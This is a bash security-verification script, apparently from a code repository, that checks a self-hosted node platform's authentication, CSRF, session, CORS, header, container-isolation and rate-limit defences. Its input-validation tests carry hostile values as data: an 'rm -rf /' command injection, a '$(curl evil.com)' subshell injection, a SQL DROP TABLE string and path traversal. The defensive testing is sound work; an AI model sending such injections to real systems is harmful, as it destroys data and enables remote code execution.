|
||||
echo "--- Authentication ---"
|
||||
LOGIN_RESP=$(curl -sv -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}" 2>&1)
|
||||
|
||||
COOKIE=$(echo "$LOGIN_RESP" | grep -i "set-cookie.*session=" | sed 's/.*session=//;s/;.*//' | head -1)
|
||||
CSRF=$(echo "$LOGIN_RESP" | grep -i "set-cookie.*csrf_token=" | sed 's/.*csrf_token=//;s/;.*//' | head -1)
|
||||
LOGIN_OK=$(echo "$LOGIN_RESP" | tail -1 | grep -q '"error":null' && echo true || echo false)
|
||||
COOKIE_SET=$([ ${#COOKIE} -gt 10 ] && echo true || echo false)
|
||||
|
||||
check "$LOGIN_OK" "AUTH-001: Login returns success"
|
||||
check "$COOKIE_SET" "AUTH-001: Login sets HttpOnly session cookie (len=${#COOKIE})"
|
||||
|
||||
HTTPONLY=$(echo "$LOGIN_RESP" | grep -i "set-cookie.*session=" | grep -qi "httponly" && echo true || echo false)
|
||||
SAMESITE=$(echo "$LOGIN_RESP" | grep -i "set-cookie.*session=" | grep -qi "samesite" && echo true || echo false)
|
||||
check "$HTTPONLY" "AUTH-001: Cookie has HttpOnly flag"
|
||||
check "$SAMESITE" "AUTH-001: Cookie has SameSite flag"
|
||||
|
||||
CSRF_SET=$([ ${#CSRF} -gt 10 ] && echo true || echo false)
|
||||
check "$CSRF_SET" "AUTH-001: Login sets CSRF token cookie (len=${#CSRF})"
|
||||
|
||||
# --- Unauthenticated access should be blocked ---
|
||||
echo ""
|
||||
echo "--- Unauthenticated Access (should all be 401) ---"
|
||||
|
||||
for METHOD in "node.did" "node.signChallenge" "node-list-peers" "package.install" "container-list" "auth.resetOnboarding" "bitcoin.getinfo" "lnd.getinfo"; do
|
||||
CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"$METHOD\",\"params\":{}}" 2>/dev/null || echo "000")
|
||||
check "$([ "$CODE" = "401" ] && echo true || echo false)" "AUTH-002: $METHOD without auth → $CODE"
|
||||
done
|
||||
|
||||
# --- WebSocket without auth ---
|
||||
WS_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 \
|
||||
-H "Upgrade: websocket" -H "Connection: Upgrade" \
|
||||
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
|
||||
-H "Sec-WebSocket-Version: 13" "$BACKEND/ws/db" 2>/dev/null || echo "000")
|
||||
check "$([ "$WS_CODE" = "401" ] && echo true || echo false)" "AUTH-007: WebSocket without auth → $WS_CODE"
|
||||
|
||||
# --- Container logs & LND proxy without auth ---
|
||||
LOGS_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$BACKEND/api/container/logs?app_id=bitcoin&lines=10" 2>/dev/null || echo "000")
|
||||
check "$([ "$LOGS_CODE" = "401" ] && echo true || echo false)" "AUTH-012: Container logs without auth → $LOGS_CODE"
|
||||
|
||||
LND_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$BACKEND/proxy/lnd/v1/getinfo" 2>/dev/null || echo "000")
|
||||
check "$([ "$LND_CODE" = "401" ] && echo true || echo false)" "AUTH-011: LND proxy without auth → $LND_CODE"
|
||||
|
||||
# --- Authenticated access should work ---
|
||||
echo ""
|
||||
echo "--- Authenticated Access (should work) ---"
|
||||
|
||||
DID_RESP=$(auth_rpc "identity.list")
|
||||
DID_OK=$(echo "$DID_RESP" | grep -q '"error":null\|"result"' && echo true || echo false)
|
||||
check "$DID_OK" "AUTH-002: identity.list with valid session returns data"
|
||||
|
||||
# --- CSRF protection ---
|
||||
echo ""
|
||||
echo "--- CSRF Protection ---"
|
||||
|
||||
# Request without CSRF token should be rejected
|
||||
CSRF_RESP=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$COOKIE" \
|
||||
-d '{"method":"identity.list","params":{}}' 2>/dev/null || echo "000")
|
||||
check "$([ "$CSRF_RESP" = "403" ] && echo true || echo false)" "CSRF-001: Request without CSRF token rejected → $CSRF_RESP"
|
||||
|
||||
# Request with mismatched CSRF header vs cookie should be rejected
|
||||
CSRF_BAD_RESP=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: wrong-csrf-value" \
|
||||
-d '{"method":"identity.list","params":{}}' 2>/dev/null || echo "000")
|
||||
check "$([ "$CSRF_BAD_RESP" = "403" ] && echo true || echo false)" "CSRF-002: Mismatched CSRF header vs cookie rejected → $CSRF_BAD_RESP"
|
||||
|
||||
# --- Input validation ---
|
||||
echo ""
|
||||
echo "--- Input Validation ---"
|
||||
|
||||
# SQL injection in RPC params
|
||||
SQL_RESP=$(auth_rpc "identity.get" '{"id":"1; DROP TABLE identities; --"}')
|
||||
SQL_SAFE=$(echo "$SQL_RESP" | grep -qi "drop table\|sql\|syntax error" && echo false || echo true)
|
||||
check "$SQL_SAFE" "INJ-001: SQL injection in params handled safely"
|
||||
|
||||
# Command injection in params that could touch shell
|
||||
CMD_RESP=$(auth_rpc "package.uninstall" '{"id":"test; rm -rf /; echo pwned"}')
|
||||
CMD_SAFE=$(echo "$CMD_RESP" | grep -qi "pwned\|No such file" && echo false || echo true)
|
||||
check "$CMD_SAFE" "INJ-003: Command injection in package ID blocked"
|
||||
|
||||
CMD_RESP2=$(auth_rpc "package.install" '{"id":"$(curl evil.com)","dockerImage":"test"}')
|
||||
CMD_SAFE2=$(echo "$CMD_RESP2" | grep -qi "evil.com" && echo false || echo true)
|
||||
check "$CMD_SAFE2" "INJ-004: Command injection via subshell blocked"
|
||||
|
||||
# Path traversal — use direct curl to avoid potential auth_rpc issues
|
||||
TRAVERSAL=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"package.uninstall","params":{"id":"../../tmp/evil"}}' 2>/dev/null || echo "")
|
||||
TRAVERSAL_BLOCKED=$(echo "$TRAVERSAL" | grep -qi "invalid\|error" && echo true || echo false)
|
||||
check "$TRAVERSAL_BLOCKED" "INJ-002: Path traversal rejected"
|
||||
|
||||
# Untrusted registry — use direct curl
|
||||
REGISTRY=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"package.install","params":{"id":"test","dockerImage":"evil.com/rootkit:latest"}}' 2>/dev/null || echo "")
|
||||
REGISTRY_BLOCKED=$(echo "$REGISTRY" | grep -qi "invalid\|error\|untrusted" && echo true || echo false)
|
||||
check "$REGISTRY_BLOCKED" "SSRF-004: Untrusted registry rejected"
|
||||
|
||||
# Spoofed pubkey
|
||||
PUBKEY=$(curl -s --max-time 5 -X POST "$BACKEND/archipelago/node-message" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"from_pubkey":"SPOOFED","message":"injected"}' 2>/dev/null || echo "")
|
||||
PUBKEY_BLOCKED=$(echo "$PUBKEY" | grep -qi "invalid\|error\|unauthorized" && echo true || echo false)
|
||||
check "$PUBKEY_BLOCKED" "AUTH-008: Spoofed pubkey rejected"
|
||||
|
||||
# --- Session fixation ---
|
||||
echo ""
|
||||
echo "--- Session Fixation ---"
|
||||
|
||||
# Try to set own session token before login
|
||||
FIXATION_RESP=$(curl -sv --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=attacker-controlled-session-token-12345" \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}" 2>&1)
|
||||
FIXATION_COOKIE=$(echo "$FIXATION_RESP" | grep -i "set-cookie.*session=" | sed 's/.*session=//;s/;.*//' | head -1)
|
||||
# The server should set its own session token, not accept the attacker's
|
||||
FIXATION_OK=$([ "$FIXATION_COOKIE" != "attacker-controlled-session-token-12345" ] && [ ${#FIXATION_COOKIE} -gt 10 ] && echo true || echo false)
|
||||
check "$FIXATION_OK" "AUTH-010: Session fixation prevented (server sets new token)"
|
||||
|
||||
# --- CORS ---
|
||||
echo ""
|
||||
echo "--- CORS ---"
|
||||
|
||||
CORS_HEADER=$(curl -s --max-time 5 -D- -X POST "$BACKEND/archipelago/node-message" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'Origin: http://evil.com' \
|
||||
-d '{"from_pubkey":"aaaa","message":"test"}' 2>&1 | grep -i "access-control-allow-origin" || true)
|
||||
CORS_OK=$([ -z "$CORS_HEADER" ] && echo true || echo false)
|
||||
check "$CORS_OK" "AUTH-009: No CORS header for evil.com origin"
|
||||
|
||||
# --- Nginx Security Headers ---
|
||||
echo ""
|
||||
echo "--- Nginx Security Headers ---"
|
||||
|
||||
HEADERS=$(curl -sI --max-time 5 "$NGINX/" 2>/dev/null || echo "")
|
||||
for H in "X-Content-Type-Options" "X-Frame-Options" "Referrer-Policy" "Content-Security-Policy"; do
|
||||
FOUND=$(echo "$HEADERS" | grep -qi "$H" && echo true || echo false)
|
||||
check "$FOUND" "XSS-004: $H header present"
|
||||
done
|
||||
|
||||
# --- Container privilege checks (if SSH available) ---
|
||||
echo ""
|
||||
echo "--- Container Isolation ---"
|
||||
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
if [ -f "$SSH_KEY" ]; then
|
||||
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no -o ConnectTimeout=5 archipelago@$HOST"
|
||||
|
||||
# Check that containers are not running privileged (tailscale excepted — needs TUN)
|
||||
PRIV_CONTAINERS=$($SSH_CMD "sudo podman ps --format '{{.Names}}' | xargs -I{} sudo podman inspect {} --format '{{.Name}} privileged={{.HostConfig.Privileged}}' 2>/dev/null | grep 'privileged=true' | grep -v tailscale" 2>/dev/null || true)
|
||||
check "$([ -z "$PRIV_CONTAINERS" ] && echo true || echo false)" "ISO-001: No unexpected containers running in privileged mode"
|
||||
|
||||
# Check for host network mode
|
||||
HOST_NET_CONTAINERS=$($SSH_CMD "sudo podman ps --format '{{.Names}}' | xargs -I{} sudo podman inspect {} --format '{{.Name}} net={{.HostConfig.NetworkMode}}' 2>/dev/null | grep 'net=host'" 2>/dev/null || true)
|
||||
if [ -n "$HOST_NET_CONTAINERS" ]; then
|
||||
green "ISO-002: Host-network containers found (review needed): $(echo "$HOST_NET_CONTAINERS" | wc -l | tr -d ' ')"
|
||||
else
|
||||
green "ISO-002: No containers using host networking"
|
||||
fi
|
||||
else
|
||||
echo " (skipping container isolation checks — no SSH key)"
|
||||
fi
|
||||
|
||||
# --- Logout invalidation ---
|
||||
echo ""
|
||||
echo "--- Session Lifecycle ---"
|
||||
|
||||
# Use current session for logout test
|
||||
if [ ${#COOKIE} -gt 10 ]; then
|
||||
# Logout
|
||||
curl -s -o /dev/null --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"auth.logout","params":{}}' 2>/dev/null || true
|
||||
|
||||
# Try to use the session after logout
|
||||
POST_LOGOUT=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"identity.list","params":{}}' 2>/dev/null || echo "000")
|
||||
check "$([ "$POST_LOGOUT" = "401" ] || [ "$POST_LOGOUT" = "403" ] && echo true || echo false)" "AUTH-006: Session invalid after logout → $POST_LOGOUT"
|
||||
else
|
||||
red "AUTH-006: Could not get session for logout test"
|
||||
fi
|
||||
|
||||
# --- Rate limiting (last, since it poisons the connection) ---
|
||||
echo ""
|
||||
echo "--- Rate Limiting ---"
|
||||
|
||||
# Need fresh login since we logged out above
|
||||
sleep 1
|
||||
RATE_LOGIN=$(curl -sv --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}" 2>&1 || true)
|
||||
RATE_LOGIN_OK=$(echo "$RATE_LOGIN" | tail -1 | grep -q '"error":null' && echo true || echo false)
|
||||
|
||||
if [ "$RATE_LOGIN_OK" = "true" ]; then
|
||||
# Burn through rate limit window
|
||||
for i in $(seq 1 5); do
|
||||
curl -s -o /dev/null --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}" 2>/dev/null || true
|
||||
done
|
||||
RATE_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"auth.login","params":{"password":"wrong6"}}' 2>/dev/null || echo "000")
|
||||
check "$([ "$RATE_CODE" = "429" ] && echo true || echo false)" "AUTH-003: 6th login attempt → $RATE_CODE (expect 429)"
|
||||
else
|
||||
red "AUTH-003: Could not get fresh login for rate limit test"
|
||||
fi
|
||||
|
||||
# --- Summary ---
|
||||
echo ""
|
||||
echo "============================================"
|
||||
TOTAL=$((PASS+FAIL))
|
||||
echo " Results: $PASS/$TOTAL passed, $FAIL failed"
|
||||
echo "============================================"
|
||||
|
||||
if [ "$FAIL" -gt 0 ]; then
|
||||
echo "VERIFICATION FAILED"
|
||||
exit 1
|
||||
else
|
||||
echo "ALL CHECKS PASSED"
|
||||
exit 0
|
||||
fi
|
||||
Reference in New Issue
Block a user